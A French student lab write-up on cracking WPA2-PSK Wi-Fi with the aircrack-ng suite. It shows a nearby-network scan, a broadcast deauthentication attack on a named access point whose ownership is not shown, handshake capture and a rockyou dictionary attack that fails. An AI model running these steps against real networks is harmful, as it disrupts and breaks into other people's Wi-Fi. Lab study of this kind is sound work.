

## TP HACK WIFI

Matériels que j'ai utilisé pour effectuer ce TP

A) Une carte wifi compatible avec le mode écoute (Monitoring mode)



B) Kali Linux



### Etape 1 : Activer le mode ÉCOUTE sur la carte WiFi

1.1. Afficher la carte sans fil avec la commande : `sudo iwconfig`

```
(root@dylansoukali)-[~]
# sudo iwconfig
lo          no wireless extensions.

eth0        no wireless extensions.

wlan0       IEEE 802.11  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=20 dBm
           Retry short limit:7   RTS thr=2347 B   Fragment thr:off
           Power Management:on
```

Ici on aperçoit bien ma carte réseaux ainsi que son mode qui est ici bien en Monitoring mode.

## 1.2 Activer le mode d'écoute

Pour activer le mode écoute j'utilise la commande : `sudo airmon-ng start wlan0`

```
(root@dylansoukali)-[~]
# sudo airmon-ng start wlan0

PHY      Interface      Driver      Chipset
phy1     wlan0            rtl8xxxu    TP-Link TL-WN722N v2/v3 [Realtek RTL8188EUS]
(mac80211 monitor mode already enabled for [phy1]wlan0 on [phy1]10)
```

Ici on aperçoit bien la référence de ma carte wifi.

Étape 2 : Utiliser Airodump pour capturer les paquets

## 2.1. Analyser le trafic à proximité avec la commande `sudo airodump-ng wlan0`

```
(root@dylansoukali)-[~]
# sudo airodump-ng wlan0

CH 4 ][ Elapsed: 24 s ][ 2023-11-20 16:10

BSSID            PWR  Beacons  #Data, #/s  CH  MB  ENC  CIPHER  AUTH  ESSID
E4:9E:12:C9:2C:98 -93    2         0    0  11  195  WPA2  CCMP    PSK    freebox_GJBTV
B4:E2:65:F0:FE:B4 -93    2         0    0   6  260  WPA2  CCMP    PSK    SFR_FEB2
00:07:CB:B4:62:3E -93   15         0    0  11  195  WPA2  CCMP    PSK    Freebox-B4623D
1C:57:3E:D2:6A:E0 -93    0         0    0  11   -1
E4:9E:12:C9:2C:99 -93    3         0    0  11  195  WPA2  CCMP    MGT    FreeWifi_secure
18:90:D8:BF:37:C0 -93    1         1    0   6  130  WPA2  CCMP    PSK    kad
6C:38:A1:A8:55:30 -82   16         1    0   6  130  WPA2  CCMP    PSK    SFR_552F
00:07:CB:B4:62:3F -93   15         0    0  11  195  WPA2  CCMP    MGT    FreeWifi_secure
34:DB:9C:4F:85:20 -93    1         1    0  11  130  WPA2  CCMP    PSK    Bbox-1A1D6A92
70:F3:5A:25:79:CB -85    8         4    0   3  130  WPA2  CCMP    PSK    Livebox-da8c
70:F3:5A:25:79:CA -93    7         1    0   3  130  WPA2  CCMP    PSK    Wifi_Cabinet
70:F3:5A:25:79:C8 -84   13         3    0   3  130  WPA2  CCMP    PSK    Wifi_Admin
58:FC:20:62:7C:00 -75   48         6    0   6  260  WPA2  CCMP    PSK    SFR_78FF
34:49:58:70:58:36 -82   22         5    0   6  260  WPA2  CCMP    PSK    Bbox-1BF87D7E
DE:00:B0:16:87:90 -55   58         7    0   6  260  WPA2  CCMP    PSK    Freebox-39E168
F8:AB:05:02:FD:90 -77   54        18    0   6  130  WPA2  CCMP    PSK    Bbox-9CA42E53
38:B5:C9:35:B2:20 -61   30         0    0   1  130  WPA2  CCMP    PSK    Livebox-B220
1C:57:3E:3E:76:F0 -75   32         3    0   1  260  WPA2  CCMP    PSK    SFR_76EF
22:66:CF:01:D3:84 -93    8         0    0   1  130  WPA2  CCMP    PSK    Freebox-61CB80
28:9E:FC:F5:E6:30 -79   21        15    5   1  130  WPA2  CCMP    PSK    Bbox-567DC4E9
60:35:C0:53:E5:16 -71   40         0    0   1  130  WPA2  CCMP    PSK    SFR_E510
1C:57:3E:5D:43:C0 -81    8         1    0   1  260  WPA2  CCMP    PSK    SFR_43BF
44:D4:54:75:4B:00 -93    5         1    0  11  130  WPA2  CCMP    PSK    <length: 13>
60:8D:26:06:BD:F0 -93   44         2    0  11  130  WPA2  CCMP    PSK    Livebox-BDF0
B8:D9:4D:D0:32:10 -93    6         9    0  11  130  WPA2  CCMP    PSK    Bbox-Lavirotte
1C:57:3E:63:0F:B0 -75   45         3    0  11  260  WPA2  CCMP    PSK    SFR_0FAF
```

Et ensuite la commande pour analyser le trafic à proximité et enregistrez les paquets capturés dans un fichier est :

```
sudo airodump-ng wlan0 -w test01
```

Étape 3 : Capturer le handshake WPA2-PSK

3.1 Pour capturer le handshake j'ai utilisé la commande airodump-ng pour enregistrer le trafic d'un point d'accès spécifique, une fois le résultat afficher j'ai copié le BSSID et le numéro de canal du fichier que j'ai créé à l'étape d'avant.

```
sudo airodump-ng wlan0 --bssid F0:9F:C0:AA:6C:B8 -c 6 --write test01
```

```
(root@dylansoukali)~# sudo airodump-ng wlan0 --bssid 38:B5:C9:35:B2:20 -c 1 --write test01
16:14:16 Created capture file "test01-01.cap".

CH 1 ][ Elapsed: 6 mins ][ 2023-11-20 16:20 ][ WPA handshake: 38:B5:C9:35:B2:20

BSSID          PWR RXQ Beacons    #Data, #/s CH  MB  ENC CIPHER AUTH ESSID
38:B5:C9:35:B2:20 -49 82      3013      201  0   1  130 WPA2 CCMP PSK  Livebox-B220

BSSID          STATION          PWR   Rate    Lost    Frames  Notes  Probes
Quitting ...
```

3.2. J'ai ensuite ouvert une nouvelle fenêtre de terminal et lancé une attaque deauth avec aireplay-ng

```
(root@dylansoukali)~# sudo aireplay-ng --deauth 0 -a 38:B5:C9:35:B2:20 wlan0
16:16:31 Waiting for beacon frame (BSSID: 38:B5:C9:35:B2:20) on channel 1
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
16:16:31 Sending DeAuth (code 7) to broadcast -- BSSID: [38:B5:C9:35:B2:20]
16:16:32 Sending DeAuth (code 7) to broadcast -- BSSID: [38:B5:C9:35:B2:20]
16:16:32 Sending DeAuth (code 7) to broadcast -- BSSID: [38:B5:C9:35:B2:20]
16:16:33 Sending DeAuth (code 7) to broadcast -- BSSID: [38:B5:C9:35:B2:20]
```

La commande est : `sudo aireplay-ng --deauth 0 -a 38 :B5 :C9 :35 :B2 :20 wlan0`

Une fois cette commande effectuée je suis retourné sur la fenêtre précédente.

```
(root@dylansoukali)-[~]
# sudo airodump-ng wlan0 --bssid 38:B5:C9:35:B2:20 -c 1 --write test01
16:14:16 Created capture file "test01-01.cap".

CH 1 ][ Elapsed: 6 mins ][ 2023-11-20 16:20 ][ WPA handshake: 38:B5:C9:35:B2:20

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
38:B5:C9:35:B2:20 -49 82 3013 201 0 1 130 WPA2 CCMP PSK Livebox-B220

BSSID STATION PWR Rate Lost Frames Notes Probes
Quitting...
```

J'ai bien récupéré le WPA handshake qui se trouve donc dans le fichier «test01-01.cap »

3.3.a Il faut maintenant confirmer le handshake capturé avec aircrack-ng.

La commande est : `sudo aircrack-ng test01-01.cap`

```
(root@dylansoukali)-[~]
# sudo aircrack-ng test01-01.cap
Reading packets, please wait...
Opening test01-01.cap
Read 86722 packets.

# BSSID ESSID Encryption
1 38:B5:C9:35:B2:20 Livebox-B220 WPA (1 handshake)

Choosing first network as target.

Reading packets, please wait...
Opening test01-01.cap
Read 86722 packets.

1 potential targets
Please specify a dictionary (option -w).
```

On va maintenant chercher un dictionnaire déjà présent sur kali linux

```
(root@dylansoukali)~# ls /usr/share/wordlists
amass  dirbuster  fern-wifi  legion  nmap.lst  sqlmap.txt  wifite.txt
dirb   fasttrack.txt  john.lst  metasploit  rockyou.txt.gz  wfuzz
```

Donc ici le dictionnaire écrit en rouge « rockyou.txt.gz »

Et enfin on lance la commande `sudo aircrack-ng test01-01.cap -w /usr/share/wordlists/rockyou.txt.gz` afin de trouver la clé.

```
(root@dylansoukali)~# sudo aircrack-ng test01-01.cap -w /usr/share/wordlists/rockyou.txt.gz
Reading packets, please wait...
Opening test01-01.cap
Read 86722 packets.

# BSSID      ESSID      Encryption
1 38:B5:C9:35:B2:20 Livebox-B220 WPA (1 handshake)

Choosing first network as target.
Reading packets, please wait...
Opening test01-01.cap
Read 86722 packets.
1 potential targets

Aircrack-ng 1.7

[00:00:00] 539521/214239 keys tested (2928.09 k/s)

Time left: -98538182 day, 38 minutes, 24 seconds    251.83%

KEY NOT FOUND

Master Key   : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
               00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
               00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
               00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
               00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

EAPOL HMAC   : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
```

Ici dans mon cas la clé n'a pas été trouvée à cause du dictionnaire qui est plutôt basique et donc pas assez efficace, mais je n'ai pas trouvé de meilleur dictionnaire ou alors il aura fallu aller sur le darknet... 😞